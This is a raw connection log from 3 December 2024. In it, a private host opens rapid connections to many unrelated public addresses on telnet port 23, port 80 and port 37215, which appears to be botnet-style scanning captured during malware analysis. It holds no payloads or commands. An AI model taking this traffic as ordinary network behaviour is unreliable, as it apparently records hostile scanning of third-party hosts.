Dec 3, 2024 21:47:22.198441029 CET	40955	23	192.168.2.13	159.211.57.212
Dec 3, 2024 21:47:22.198446035 CET	40955	23	192.168.2.13	80.57.59.152
Dec 3, 2024 21:47:22.198457956 CET	23	40955	141.206.171.204	192.168.2.13
Dec 3, 2024 21:47:22.198470116 CET	23	40955	140.69.3.198	192.168.2.13
Dec 3, 2024 21:47:22.198492050 CET	23	40955	186.216.32.182	192.168.2.13
Dec 3, 2024 21:47:22.198494911 CET	40955	23	192.168.2.13	141.206.171.204
Dec 3, 2024 21:47:22.198496103 CET	40955	23	192.168.2.13	140.69.3.198
Dec 3, 2024 21:47:22.198506117 CET	23	40955	102.203.210.143	192.168.2.13
Dec 3, 2024 21:47:22.198528051 CET	40955	23	192.168.2.13	186.216.32.182
Dec 3, 2024 21:47:22.198539972 CET	40955	23	192.168.2.13	102.203.210.143
Dec 3, 2024 21:47:22.198649883 CET	32908	80	192.168.2.13	84.115.17.222
Dec 3, 2024 21:47:22.198673964 CET	32908	80	192.168.2.13	84.115.17.222
Dec 3, 2024 21:47:22.198767900 CET	23	40955	117.129.227.105	192.168.2.13
Dec 3, 2024 21:47:22.198781967 CET	23	40955	99.155.216.194	192.168.2.13
Dec 3, 2024 21:47:22.198792934 CET	23	40955	90.34.241.221	192.168.2.13
Dec 3, 2024 21:47:22.198798895 CET	40955	23	192.168.2.13	117.129.227.105
Dec 3, 2024 21:47:22.198807001 CET	23	40955	20.95.83.168	192.168.2.13
Dec 3, 2024 21:47:22.198818922 CET	40955	23	192.168.2.13	99.155.216.194
Dec 3, 2024 21:47:22.198823929 CET	40955	23	192.168.2.13	90.34.241.221
Dec 3, 2024 21:47:22.198828936 CET	23	40955	34.88.48.121	192.168.2.13
Dec 3, 2024 21:47:22.198832989 CET	40955	23	192.168.2.13	20.95.83.168
Dec 3, 2024 21:47:22.198843956 CET	23	40955	60.220.55.189	192.168.2.13
Dec 3, 2024 21:47:22.198854923 CET	23	40955	107.112.64.92	192.168.2.13
Dec 3, 2024 21:47:22.198858976 CET	40955	23	192.168.2.13	34.88.48.121
Dec 3, 2024 21:47:22.198872089 CET	23	40955	137.87.32.92	192.168.2.13
Dec 3, 2024 21:47:22.198873997 CET	40955	23	192.168.2.13	60.220.55.189
Dec 3, 2024 21:47:22.198883057 CET	23	40955	149.154.232.242	192.168.2.13
Dec 3, 2024 21:47:22.198894024 CET	40955	23	192.168.2.13	107.112.64.92
Dec 3, 2024 21:47:22.198900938 CET	40955	23	192.168.2.13	137.87.32.92
Dec 3, 2024 21:47:22.198901892 CET	23	40955	44.79.158.94	192.168.2.13
Dec 3, 2024 21:47:22.198914051 CET	40955	23	192.168.2.13	149.154.232.242
Dec 3, 2024 21:47:22.198915958 CET	23	40955	156.179.77.230	192.168.2.13
Dec 3, 2024 21:47:22.198935032 CET	40955	23	192.168.2.13	44.79.158.94
Dec 3, 2024 21:47:22.198955059 CET	40955	23	192.168.2.13	156.179.77.230
Dec 3, 2024 21:47:22.198988914 CET	33310	80	192.168.2.13	84.115.17.222
Dec 3, 2024 21:47:22.199505091 CET	49652	80	192.168.2.13	87.46.134.230
Dec 3, 2024 21:47:22.199505091 CET	49652	80	192.168.2.13	87.46.134.230
Dec 3, 2024 21:47:22.199774981 CET	50096	80	192.168.2.13	87.46.134.230
Dec 3, 2024 21:47:22.200114012 CET	53878	80	192.168.2.13	89.9.140.26
Dec 3, 2024 21:47:22.200125933 CET	53878	80	192.168.2.13	89.9.140.26
Dec 3, 2024 21:47:22.200417042 CET	54320	80	192.168.2.13	89.9.140.26
Dec 3, 2024 21:47:22.200771093 CET	37870	80	192.168.2.13	94.2.223.202
Dec 3, 2024 21:47:22.200772047 CET	37870	80	192.168.2.13	94.2.223.202
Dec 3, 2024 21:47:22.201035023 CET	38312	80	192.168.2.13	94.2.223.202
Dec 3, 2024 21:47:22.201375961 CET	57134	80	192.168.2.13	135.22.204.152
Dec 3, 2024 21:47:22.201386929 CET	57134	80	192.168.2.13	135.22.204.152
Dec 3, 2024 21:47:22.201679945 CET	57576	80	192.168.2.13	135.22.204.152
Dec 3, 2024 21:47:22.202002048 CET	55974	80	192.168.2.13	101.1.73.203
Dec 3, 2024 21:47:22.202017069 CET	55974	80	192.168.2.13	101.1.73.203
Dec 3, 2024 21:47:22.202280045 CET	56416	80	192.168.2.13	101.1.73.203
Dec 3, 2024 21:47:22.202609062 CET	52804	80	192.168.2.13	208.91.209.54
Dec 3, 2024 21:47:22.202622890 CET	52804	80	192.168.2.13	208.91.209.54
Dec 3, 2024 21:47:22.202883005 CET	53246	80	192.168.2.13	208.91.209.54
Dec 3, 2024 21:47:22.203214884 CET	33126	80	192.168.2.13	39.103.0.196
Dec 3, 2024 21:47:22.203227997 CET	33126	80	192.168.2.13	39.103.0.196
Dec 3, 2024 21:47:22.203485012 CET	33568	80	192.168.2.13	39.103.0.196
Dec 3, 2024 21:47:22.203818083 CET	51386	80	192.168.2.13	219.115.34.124
Dec 3, 2024 21:47:22.203836918 CET	51386	80	192.168.2.13	219.115.34.124
Dec 3, 2024 21:47:22.204099894 CET	51828	80	192.168.2.13	219.115.34.124
Dec 3, 2024 21:47:22.204437017 CET	56618	80	192.168.2.13	128.218.148.72
Dec 3, 2024 21:47:22.204456091 CET	56618	80	192.168.2.13	128.218.148.72
Dec 3, 2024 21:47:22.204713106 CET	57058	80	192.168.2.13	128.218.148.72
Dec 3, 2024 21:47:22.205044985 CET	36910	80	192.168.2.13	116.147.27.49
Dec 3, 2024 21:47:22.205060005 CET	36910	80	192.168.2.13	116.147.27.49
Dec 3, 2024 21:47:22.205317974 CET	37350	80	192.168.2.13	116.147.27.49
Dec 3, 2024 21:47:22.214454889 CET	37215	34043	156.124.192.21	192.168.2.13
Dec 3, 2024 21:47:22.214508057 CET	34043	37215	192.168.2.13	156.124.192.21
Dec 3, 2024 21:47:22.215238094 CET	37215	34043	156.18.66.104	192.168.2.13
Dec 3, 2024 21:47:22.215277910 CET	34043	37215	192.168.2.13	156.18.66.104
Dec 3, 2024 21:47:22.228610039 CET	49614	80	192.168.2.13	162.238.108.65
Dec 3, 2024 21:47:22.228610039 CET	55108	80	192.168.2.13	192.180.184.188
Dec 3, 2024 21:47:22.228610039 CET	51402	80	192.168.2.13	89.70.128.197
Dec 3, 2024 21:47:22.228617907 CET	53746	80	192.168.2.13	136.169.245.94
Dec 3, 2024 21:47:22.228621006 CET	43554	80	192.168.2.13	219.18.22.75
Dec 3, 2024 21:47:22.228621006 CET	57852	80	192.168.2.13	98.126.23.157
Dec 3, 2024 21:47:22.228626966 CET	43206	80	192.168.2.13	53.65.115.245
Dec 3, 2024 21:47:22.228631020 CET	35092	80	192.168.2.13	174.7.104.47
Dec 3, 2024 21:47:22.228646994 CET	45428	80	192.168.2.13	154.59.225.82
Dec 3, 2024 21:47:22.228648901 CET	46314	80	192.168.2.13	49.248.111.165
Dec 3, 2024 21:47:22.228652954 CET	35002	80	192.168.2.13	159.139.254.9
Dec 3, 2024 21:47:22.228652954 CET	34836	80	192.168.2.13	105.173.175.189
Dec 3, 2024 21:47:22.228657961 CET	53408	80	192.168.2.13	54.112.254.106
Dec 3, 2024 21:47:22.228660107 CET	52588	80	192.168.2.13	36.36.163.1
Dec 3, 2024 21:47:22.228666067 CET	56262	80	192.168.2.13	51.164.5.25
Dec 3, 2024 21:47:22.228668928 CET	50634	80	192.168.2.13	134.155.154.104
Dec 3, 2024 21:47:22.228674889 CET	37710	80	192.168.2.13	130.37.189.23
Dec 3, 2024 21:47:22.228682041 CET	44884	80	192.168.2.13	80.129.90.154
Dec 3, 2024 21:47:22.228684902 CET	45544	80	192.168.2.13	204.63.224.200
Dec 3, 2024 21:47:22.228693008 CET	53154	80	192.168.2.13	43.255.192.11
Dec 3, 2024 21:47:22.228704929 CET	38744	80	192.168.2.13	4.180.186.180
Dec 3, 2024 21:47:22.228704929 CET	47456	80	192.168.2.13	223.183.74.127
Dec 3, 2024 21:47:22.228704929 CET	45536	80	192.168.2.13	85.191.219.104
Dec 3, 2024 21:47:22.228707075 CET	33078	80	192.168.2.13	188.144.231.150
Dec 3, 2024 21:47:22.228710890 CET	44166	80	192.168.2.13	216.86.73.213
Dec 3, 2024 21:47:22.252974033 CET	80	36192	92.165.190.29	192.168.2.13
Dec 3, 2024 21:47:22.253010988 CET	80	34402	199.178.250.130	192.168.2.13
Dec 3, 2024 21:47:22.253029108 CET	80	47884	194.185.115.18	192.168.2.13
Dec 3, 2024 21:47:22.253036022 CET	36192	80	192.168.2.13	92.165.190.29
Dec 3, 2024 21:47:22.253196001 CET	34402	80	192.168.2.13	199.178.250.130
Dec 3, 2024 21:47:22.253210068 CET	47884	80	192.168.2.13	194.185.115.18
Dec 3, 2024 21:47:22.253484964 CET	47884	80	192.168.2.13	194.185.115.18
Dec 3, 2024 21:47:22.253519058 CET	47884	80	192.168.2.13	194.185.115.18
Dec 3, 2024 21:47:22.253962040 CET	48166	80	192.168.2.13	194.185.115.18
Dec 3, 2024 21:47:22.254288912 CET	34402	80	192.168.2.13	199.178.250.130
Dec 3, 2024 21:47:22.254298925 CET	34402	80	192.168.2.13	199.178.250.130
Dec 3, 2024 21:47:22.254591942 CET	34678	80	192.168.2.13	199.178.250.130
Dec 3, 2024 21:47:22.254926920 CET	36192	80	192.168.2.13	92.165.190.29
Dec 3, 2024 21:47:22.254942894 CET	36192	80	192.168.2.13	92.165.190.29
Dec 3, 2024 21:47:22.255297899 CET	36468	80	192.168.2.13	92.165.190.29
Dec 3, 2024 21:47:22.260596991 CET	52936	80	192.168.2.13	204.38.189.144
Dec 3, 2024 21:47:22.260600090 CET	43156	80	192.168.2.13	2.241.114.145
Dec 3, 2024 21:47:22.260603905 CET	54950	80	192.168.2.13	192.43.101.232
Dec 3, 2024 21:47:22.260622025 CET	60670	80	192.168.2.13	170.41.22.77
Dec 3, 2024 21:47:22.260622978 CET	49102	80	192.168.2.13	158.83.114.212
Dec 3, 2024 21:47:22.260628939 CET	41782	80	192.168.2.13	107.254.35.29
Dec 3, 2024 21:47:22.260632038 CET	55366	80	192.168.2.13	132.216.212.60
Dec 3, 2024 21:47:22.260632992 CET	60396	80	192.168.2.13	186.84.218.11
Dec 3, 2024 21:47:22.260632038 CET	39378	80	192.168.2.13	104.7.94.67
Dec 3, 2024 21:47:22.260632992 CET	35596	80	192.168.2.13	19.243.62.109
Dec 3, 2024 21:47:22.260634899 CET	59592	80	192.168.2.13	203.182.231.103
Dec 3, 2024 21:47:22.260634899 CET	58136	80	192.168.2.13	180.134.245.219
Dec 3, 2024 21:47:22.260632038 CET	46590	80	192.168.2.13	12.208.187.26
Dec 3, 2024 21:47:22.260632038 CET	58214	80	192.168.2.13	52.115.245.92
Dec 3, 2024 21:47:22.260642052 CET	34674	80	192.168.2.13	118.20.80.18
Dec 3, 2024 21:47:22.260643005 CET	57808	80	192.168.2.13	220.130.200.122
Dec 3, 2024 21:47:22.260649920 CET	48326	80	192.168.2.13	2.200.64.79
Dec 3, 2024 21:47:22.260653019 CET	42292	80	192.168.2.13	2.28.8.216
Dec 3, 2024 21:47:22.260659933 CET	37838	80	192.168.2.13	179.9.125.56
Dec 3, 2024 21:47:22.260668993 CET	49006	80	192.168.2.13	197.92.52.48
Dec 3, 2024 21:47:22.260668993 CET	54656	80	192.168.2.13	124.54.243.93
Dec 3, 2024 21:47:22.260678053 CET	60954	80	192.168.2.13	20.159.32.197
Dec 3, 2024 21:47:22.260682106 CET	58700	80	192.168.2.13	135.126.180.121
Dec 3, 2024 21:47:22.260684967 CET	43186	80	192.168.2.13	24.14.163.27
Dec 3, 2024 21:47:22.260691881 CET	59948	80	192.168.2.13	47.178.80.185
Dec 3, 2024 21:47:22.260695934 CET	58456	80	192.168.2.13	192.143.143.100
Dec 3, 2024 21:47:22.260696888 CET	44696	80	192.168.2.13	5.219.151.0
Dec 3, 2024 21:47:22.260704994 CET	58978	80	192.168.2.13	209.160.126.77
Dec 3, 2024 21:47:22.260709047 CET	39070	80	192.168.2.13	187.217.91.15
Dec 3, 2024 21:47:22.260710955 CET	56634	80	192.168.2.13	163.59.147.119
Dec 3, 2024 21:47:22.260725021 CET	59360	80	192.168.2.13	69.221.73.107
Dec 3, 2024 21:47:22.260725021 CET	55966	80	192.168.2.13	178.105.162.15
Dec 3, 2024 21:47:22.260725021 CET	40588	80	192.168.2.13	76.50.32.51
Dec 3, 2024 21:47:22.260732889 CET	42686	80	192.168.2.13	197.167.120.154
Dec 3, 2024 21:47:22.260736942 CET	43100	80	192.168.2.13	65.90.231.250
Dec 3, 2024 21:47:22.260750055 CET	37530	80	192.168.2.13	181.219.122.89
Dec 3, 2024 21:47:22.260751009 CET	54606	80	192.168.2.13	35.0.167.105
Dec 3, 2024 21:47:22.260759115 CET	43378	80	192.168.2.13	184.143.71.127
Dec 3, 2024 21:47:22.260760069 CET	55266	80	192.168.2.13	223.48.224.222
Dec 3, 2024 21:47:22.260766029 CET	52186	80	192.168.2.13	151.157.22.5
Dec 3, 2024 21:47:22.260773897 CET	59288	80	192.168.2.13	184.155.31.210
Dec 3, 2024 21:47:22.260776043 CET	44316	80	192.168.2.13	142.167.56.115
Dec 3, 2024 21:47:22.310574055 CET	80	39419	153.34.197.25	192.168.2.13
Dec 3, 2024 21:47:22.310642958 CET	80	39419	67.29.205.123	192.168.2.13
Dec 3, 2024 21:47:22.310672045 CET	80	39419	34.130.229.114	192.168.2.13
Dec 3, 2024 21:47:22.310676098 CET	39419	80	192.168.2.13	153.34.197.25
Dec 3, 2024 21:47:22.310712099 CET	39419	80	192.168.2.13	67.29.205.123
Dec 3, 2024 21:47:22.310724020 CET	39419	80	192.168.2.13	34.130.229.114
Dec 3, 2024 21:47:22.310736895 CET	80	39419	166.93.74.106	192.168.2.13
Dec 3, 2024 21:47:22.310753107 CET	80	39419	197.132.25.178	192.168.2.13
Dec 3, 2024 21:47:22.310777903 CET	80	39419	194.47.94.45	192.168.2.13
Dec 3, 2024 21:47:22.310787916 CET	39419	80	192.168.2.13	166.93.74.106
Dec 3, 2024 21:47:22.310805082 CET	39419	80	192.168.2.13	197.132.25.178
Dec 3, 2024 21:47:22.310807943 CET	39419	80	192.168.2.13	194.47.94.45
Dec 3, 2024 21:47:22.312494040 CET	80	50012	14.244.19.249	192.168.2.13
Dec 3, 2024 21:47:22.313611984 CET	80	49640	217.9.92.75	192.168.2.13
Dec 3, 2024 21:47:22.313913107 CET	80	58998	206.17.226.29	192.168.2.13
Dec 3, 2024 21:47:22.314507961 CET	80	38200	87.2.29.201	192.168.2.13
Dec 3, 2024 21:47:22.315104961 CET	80	40994	187.198.156.166	192.168.2.13
Dec 3, 2024 21:47:22.315401077 CET	80	41396	187.198.156.166	192.168.2.13
Dec 3, 2024 21:47:22.315459967 CET	41396	80	192.168.2.13	187.198.156.166
Dec 3, 2024 21:47:22.315493107 CET	41396	80	192.168.2.13	187.198.156.166
Dec 3, 2024 21:47:22.315716982 CET	80	51636	151.199.164.101	192.168.2.13
Dec 3, 2024 21:47:22.315896988 CET	59948	80	192.168.2.13	153.34.197.25
Dec 3, 2024 21:47:22.316423893 CET	80	43924	165.66.103.50	192.168.2.13
Dec 3, 2024 21:47:22.316478968 CET	43240	80	192.168.2.13	67.29.205.123
Dec 3, 2024 21:47:22.317078114 CET	49900	80	192.168.2.13	34.130.229.114
Dec 3, 2024 21:47:22.317447901 CET	80	36782	49.175.230.209	192.168.2.13
Dec 3, 2024 21:47:22.317672014 CET	54060	80	192.168.2.13	166.93.74.106
Dec 3, 2024 21:47:22.317764044 CET	80	46660	167.129.209.249	192.168.2.13
Dec 3, 2024 21:47:22.318274975 CET	32946	80	192.168.2.13	197.132.25.178
Dec 3, 2024 21:47:22.318680048 CET	80	32908	84.115.17.222	192.168.2.13
Dec 3, 2024 21:47:22.318856955 CET	51976	80	192.168.2.13	194.47.94.45
Dec 3, 2024 21:47:22.319365978 CET	80	49652	87.46.134.230	192.168.2.13
Dec 3, 2024 21:47:22.320015907 CET	80	53878	89.9.140.26	192.168.2.13
Dec 3, 2024 21:47:22.320597887 CET	80	37870	94.2.223.202	192.168.2.13
Dec 3, 2024 21:47:22.321208954 CET	80	57134	135.22.204.152	192.168.2.13
Dec 3, 2024 21:47:22.321928978 CET	80	55974	101.1.73.203	192.168.2.13
Dec 3, 2024 21:47:22.322612047 CET	80	52804	208.91.209.54	192.168.2.13
Dec 3, 2024 21:47:22.323134899 CET	80	33126	39.103.0.196	192.168.2.13
Dec 3, 2024 21:47:22.323363066 CET	80	33568	39.103.0.196	192.168.2.13
Dec 3, 2024 21:47:22.323414087 CET	33568	80	192.168.2.13	39.103.0.196
Dec 3, 2024 21:47:22.323441982 CET	33568	80	192.168.2.13	39.103.0.196
Dec 3, 2024 21:47:22.323679924 CET	80	51386	219.115.34.124	192.168.2.13
Dec 3, 2024 21:47:22.324310064 CET	80	56618	128.218.148.72	192.168.2.13
Dec 3, 2024 21:47:22.324599981 CET	45338	80	192.168.2.13	71.32.188.209
Dec 3, 2024 21:47:22.324892998 CET	80	36910	116.147.27.49	192.168.2.13
Dec 3, 2024 21:47:22.348630905 CET	80	49614	162.238.108.65	192.168.2.13
Dec 3, 2024 21:47:22.348649025 CET	80	55108	192.180.184.188	192.168.2.13
Dec 3, 2024 21:47:22.348850012 CET	49614	80	192.168.2.13	162.238.108.65
Dec 3, 2024 21:47:22.348851919 CET	55108	80	192.168.2.13	192.180.184.188
Dec 3, 2024 21:47:22.349069118 CET	55108	80	192.168.2.13	192.180.184.188
Dec 3, 2024 21:47:22.349091053 CET	55108	80	192.168.2.13	192.180.184.188
Dec 3, 2024 21:47:22.349737883 CET	55286	80	192.168.2.13	192.180.184.188
Dec 3, 2024 21:47:22.350215912 CET	49614	80	192.168.2.13	162.238.108.65
Dec 3, 2024 21:47:22.350228071 CET	49614	80	192.168.2.13	162.238.108.65
Dec 3, 2024 21:47:22.350558996 CET	49792	80	192.168.2.13	162.238.108.65
Dec 3, 2024 21:47:22.354489088 CET	80	49640	217.9.92.75	192.168.2.13
Dec 3, 2024 21:47:22.354520082 CET	80	58998	206.17.226.29	192.168.2.13
Dec 3, 2024 21:47:22.354535103 CET	80	50012	14.244.19.249	192.168.2.13
Dec 3, 2024 21:47:22.358608007 CET	80	46660	167.129.209.249	192.168.2.13
Dec 3, 2024 21:47:22.358633995 CET	80	36782	49.175.230.209	192.168.2.13
Dec 3, 2024 21:47:22.358673096 CET	80	43924	165.66.103.50	192.168.2.13
Dec 3, 2024 21:47:22.358740091 CET	80	51636	151.199.164.101	192.168.2.13
Dec 3, 2024 21:47:22.358753920 CET	80	40994	187.198.156.166	192.168.2.13
Dec 3, 2024 21:47:22.358774900 CET	80	38200	87.2.29.201	192.168.2.13
Dec 3, 2024 21:47:22.362538099 CET	80	57134	135.22.204.152	192.168.2.13
Dec 3, 2024 21:47:22.362571001 CET	80	55974	101.1.73.203	192.168.2.13
Dec 3, 2024 21:47:22.362584114 CET	80	37870	94.2.223.202	192.168.2.13
Dec 3, 2024 21:47:22.362615108 CET	80	53878	89.9.140.26	192.168.2.13
Dec 3, 2024 21:47:22.362659931 CET	80	49652	87.46.134.230	192.168.2.13
Dec 3, 2024 21:47:22.362673044 CET	80	32908	84.115.17.222	192.168.2.13
Dec 3, 2024 21:47:22.366457939 CET	80	56618	128.218.148.72	192.168.2.13
Dec 3, 2024 21:47:22.366496086 CET	80	52804	208.91.209.54	192.168.2.13
Dec 3, 2024 21:47:22.366509914 CET	80	33126	39.103.0.196	192.168.2.13
Dec 3, 2024 21:47:22.366563082 CET	80	36910	116.147.27.49	192.168.2.13
Dec 3, 2024 21:47:22.366575956 CET	80	51386	219.115.34.124	192.168.2.13
Dec 3, 2024 21:47:22.373397112 CET	80	47884	194.185.115.18	192.168.2.13
Dec 3, 2024 21:47:22.373866081 CET	80	48166	194.185.115.18	192.168.2.13
Dec 3, 2024 21:47:22.373944998 CET	48166	80	192.168.2.13	194.185.115.18
Dec 3, 2024 21:47:22.374006033 CET	48166	80	192.168.2.13	194.185.115.18
Dec 3, 2024 21:47:22.374160051 CET	80	34402	199.178.250.130	192.168.2.13
Dec 3, 2024 21:47:22.374475956 CET	80	34678	199.178.250.130	192.168.2.13
Dec 3, 2024 21:47:22.374528885 CET	34678	80	192.168.2.13	199.178.250.130
Dec 3, 2024 21:47:22.374547005 CET	34678	80	192.168.2.13	199.178.250.130
Dec 3, 2024 21:47:22.374774933 CET	80	36192	92.165.190.29	192.168.2.13
Dec 3, 2024 21:47:22.380649090 CET	80	52936	204.38.189.144	192.168.2.13
Dec 3, 2024 21:47:22.380714893 CET	52936	80	192.168.2.13	204.38.189.144
Dec 3, 2024 21:47:22.380753040 CET	52936	80	192.168.2.13	204.38.189.144
Dec 3, 2024 21:47:22.414499044 CET	80	34402	199.178.250.130	192.168.2.13
Dec 3, 2024 21:47:22.414608002 CET	80	47884	194.185.115.18	192.168.2.13
Dec 3, 2024 21:47:22.418479919 CET	80	36192	92.165.190.29	192.168.2.13
Dec 3, 2024 21:47:22.435815096 CET	80	59948	153.34.197.25	192.168.2.13
Dec 3, 2024 21:47:22.435935020 CET	59948	80	192.168.2.13	153.34.197.25
Dec 3, 2024 21:47:22.436045885 CET	59948	80	192.168.2.13	153.34.197.25
Dec 3, 2024 21:47:22.436055899 CET	59948	80	192.168.2.13	153.34.197.25
Dec 3, 2024 21:47:22.436249971 CET	80	41396	187.198.156.166	192.168.2.13
Dec 3, 2024 21:47:22.436290979 CET	41396	80	192.168.2.13	187.198.156.166
Dec 3, 2024 21:47:22.436332941 CET	80	43240	67.29.205.123	192.168.2.13
Dec 3, 2024 21:47:22.436364889 CET	43240	80	192.168.2.13	67.29.205.123
Dec 3, 2024 21:47:22.436467886 CET	59964	80	192.168.2.13	153.34.197.25
Dec 3, 2024 21:47:22.436877012 CET	43240	80	192.168.2.13	67.29.205.123
Dec 3, 2024 21:47:22.436877012 CET	43240	80	192.168.2.13	67.29.205.123
Dec 3, 2024 21:47:22.436990976 CET	80	49900	34.130.229.114	192.168.2.13
Dec 3, 2024 21:47:22.437035084 CET	49900	80	192.168.2.13	34.130.229.114
Dec 3, 2024 21:47:22.437155008 CET	43256	80	192.168.2.13	67.29.205.123
Dec 3, 2024 21:47:22.437510967 CET	80	54060	166.93.74.106	192.168.2.13
Dec 3, 2024 21:47:22.437541008 CET	54060	80	192.168.2.13	166.93.74.106
Dec 3, 2024 21:47:22.437561035 CET	49900	80	192.168.2.13	34.130.229.114
Dec 3, 2024 21:47:22.437572956 CET	49900	80	192.168.2.13	34.130.229.114
Dec 3, 2024 21:47:22.437819958 CET	49916	80	192.168.2.13	34.130.229.114
Dec 3, 2024 21:47:22.438190937 CET	80	32946	197.132.25.178	192.168.2.13
Dec 3, 2024 21:47:22.438227892 CET	32946	80	192.168.2.13	197.132.25.178
Dec 3, 2024 21:47:22.438245058 CET	54060	80	192.168.2.13	166.93.74.106
Dec 3, 2024 21:47:22.438245058 CET	54060	80	192.168.2.13	166.93.74.106
Dec 3, 2024 21:47:22.438505888 CET	54076	80	192.168.2.13	166.93.74.106
Dec 3, 2024 21:47:22.438704967 CET	80	51976	194.47.94.45	192.168.2.13
Dec 3, 2024 21:47:22.438738108 CET	51976	80	192.168.2.13	194.47.94.45
Dec 3, 2024 21:47:22.438905954 CET	32946	80	192.168.2.13	197.132.25.178
Dec 3, 2024 21:47:22.438905954 CET	32946	80	192.168.2.13	197.132.25.178
Dec 3, 2024 21:47:22.439161062 CET	32962	80	192.168.2.13	197.132.25.178
Dec 3, 2024 21:47:22.439487934 CET	51976	80	192.168.2.13	194.47.94.45
Dec 3, 2024 21:47:22.439502001 CET	51976	80	192.168.2.13	194.47.94.45
Dec 3, 2024 21:47:22.439743042 CET	51992	80	192.168.2.13	194.47.94.45
Dec 3, 2024 21:47:22.443722963 CET	80	33568	39.103.0.196	192.168.2.13
Dec 3, 2024 21:47:22.443773031 CET	33568	80	192.168.2.13	39.103.0.196
Dec 3, 2024 21:47:22.444456100 CET	80	45338	71.32.188.209	192.168.2.13
Dec 3, 2024 21:47:22.444508076 CET	45338	80	192.168.2.13	71.32.188.209
Dec 3, 2024 21:47:22.444540977 CET	45338	80	192.168.2.13	71.32.188.209
Dec 3, 2024 21:47:22.468905926 CET	80	55108	192.180.184.188	192.168.2.13
Dec 3, 2024 21:47:22.469640017 CET	80	55286	192.180.184.188	192.168.2.13
Dec 3, 2024 21:47:22.469710112 CET	55286	80	192.168.2.13	192.180.184.188
Dec 3, 2024 21:47:22.469880104 CET	55286	80	192.168.2.13	192.180.184.188
Dec 3, 2024 21:47:22.470110893 CET	80	49614	162.238.108.65	192.168.2.13
Dec 3, 2024 21:47:22.470498085 CET	80	49792	162.238.108.65	192.168.2.13
Dec 3, 2024 21:47:22.470573902 CET	49792	80	192.168.2.13	162.238.108.65
Dec 3, 2024 21:47:22.470585108 CET	49792	80	192.168.2.13	162.238.108.65
Dec 3, 2024 21:47:22.494987011 CET	80	48166	194.185.115.18	192.168.2.13
Dec 3, 2024 21:47:22.495194912 CET	48166	80	192.168.2.13	194.185.115.18
Dec 3, 2024 21:47:22.495357037 CET	80	34678	199.178.250.130	192.168.2.13
Dec 3, 2024 21:47:22.495414019 CET	34678	80	192.168.2.13	199.178.250.130
Dec 3, 2024 21:47:22.501188993 CET	80	52936	204.38.189.144	192.168.2.13
Dec 3, 2024 21:47:22.501245022 CET	52936	80	192.168.2.13	204.38.189.144
Dec 3, 2024 21:47:22.510530949 CET	80	55108	192.180.184.188	192.168.2.13
Dec 3, 2024 21:47:22.514497995 CET	80	49614	162.238.108.65	192.168.2.13
Dec 3, 2024 21:47:22.555911064 CET	80	59948	153.34.197.25	192.168.2.13
Dec 3, 2024 21:47:22.556314945 CET	80	59964	153.34.197.25	192.168.2.13
Dec 3, 2024 21:47:22.556396961 CET	59964	80	192.168.2.13	153.34.197.25
Dec 3, 2024 21:47:22.556447983 CET	59964	80	192.168.2.13	153.34.197.25
Dec 3, 2024 21:47:22.556683064 CET	80	43240	67.29.205.123	192.168.2.13
Dec 3, 2024 21:47:22.557025909 CET	80	43256	67.29.205.123	192.168.2.13
Dec 3, 2024 21:47:22.557068110 CET	43256	80	192.168.2.13	67.29.205.123
Dec 3, 2024 21:47:22.557111979 CET	43256	80	192.168.2.13	67.29.205.123
Dec 3, 2024 21:47:22.557451963 CET	80	49900	34.130.229.114	192.168.2.13
Dec 3, 2024 21:47:22.557651997 CET	80	49916	34.130.229.114	192.168.2.13
Dec 3, 2024 21:47:22.557713032 CET	49916	80	192.168.2.13	34.130.229.114
Dec 3, 2024 21:47:22.557758093 CET	49916	80	192.168.2.13	34.130.229.114
Dec 3, 2024 21:47:22.558100939 CET	80	54060	166.93.74.106	192.168.2.13
Dec 3, 2024 21:47:22.558392048 CET	80	54076	166.93.74.106	192.168.2.13
Dec 3, 2024 21:47:22.558444977 CET	54076	80	192.168.2.13	166.93.74.106
Dec 3, 2024 21:47:22.558504105 CET	54076	80	192.168.2.13	166.93.74.106
Dec 3, 2024 21:47:22.558784008 CET	80	32946	197.132.25.178	192.168.2.13
Dec 3, 2024 21:47:22.559011936 CET	80	32962	197.132.25.178	192.168.2.13
Dec 3, 2024 21:47:22.559062004 CET	32962	80	192.168.2.13	197.132.25.178
Dec 3, 2024 21:47:22.559113979 CET	32962	80	192.168.2.13	197.132.25.178
Dec 3, 2024 21:47:22.559365988 CET	80	51976	194.47.94.45	192.168.2.13
Dec 3, 2024 21:47:22.559591055 CET	80	51992	194.47.94.45	192.168.2.13
Dec 3, 2024 21:47:22.559637070 CET	51992	80	192.168.2.13	194.47.94.45
Dec 3, 2024 21:47:22.559674978 CET	51992	80	192.168.2.13	194.47.94.45
Dec 3, 2024 21:47:22.564908028 CET	80	45338	71.32.188.209	192.168.2.13
Dec 3, 2024 21:47:22.564960957 CET	45338	80	192.168.2.13	71.32.188.209
Dec 3, 2024 21:47:22.590343952 CET	80	55286	192.180.184.188	192.168.2.13
Dec 3, 2024 21:47:22.590411901 CET	55286	80	192.168.2.13	192.180.184.188
Dec 3, 2024 21:47:22.590799093 CET	80	49792	162.238.108.65	192.168.2.13
Dec 3, 2024 21:47:22.590892076 CET	49792	80	192.168.2.13	162.238.108.65
Dec 3, 2024 21:47:22.598526955 CET	80	54060	166.93.74.106	192.168.2.13
Dec 3, 2024 21:47:22.598540068 CET	80	49900	34.130.229.114	192.168.2.13
Dec 3, 2024 21:47:22.598551989 CET	80	43240	67.29.205.123	192.168.2.13
Dec 3, 2024 21:47:22.598567009 CET	80	59948	153.34.197.25	192.168.2.13
Dec 3, 2024 21:47:22.606559992 CET	80	51976	194.47.94.45	192.168.2.13
Dec 3, 2024 21:47:22.606571913 CET	80	32946	197.132.25.178	192.168.2.13
Dec 3, 2024 21:47:22.677074909 CET	80	59964	153.34.197.25	192.168.2.13
Dec 3, 2024 21:47:22.677205086 CET	59964	80	192.168.2.13	153.34.197.25
Dec 3, 2024 21:47:22.677922964 CET	80	43256	67.29.205.123	192.168.2.13
Dec 3, 2024 21:47:22.678011894 CET	43256	80	192.168.2.13	67.29.205.123
Dec 3, 2024 21:47:22.678061962 CET	80	49916	34.130.229.114	192.168.2.13
Dec 3, 2024 21:47:22.678147078 CET	49916	80	192.168.2.13	34.130.229.114
Dec 3, 2024 21:47:22.678533077 CET	80	54076	166.93.74.106	192.168.2.13
Dec 3, 2024 21:47:22.678597927 CET	54076	80	192.168.2.13	166.93.74.106
Dec 3, 2024 21:47:22.679184914 CET	80	32962	197.132.25.178	192.168.2.13
Dec 3, 2024 21:47:22.679244041 CET	32962	80	192.168.2.13	197.132.25.178
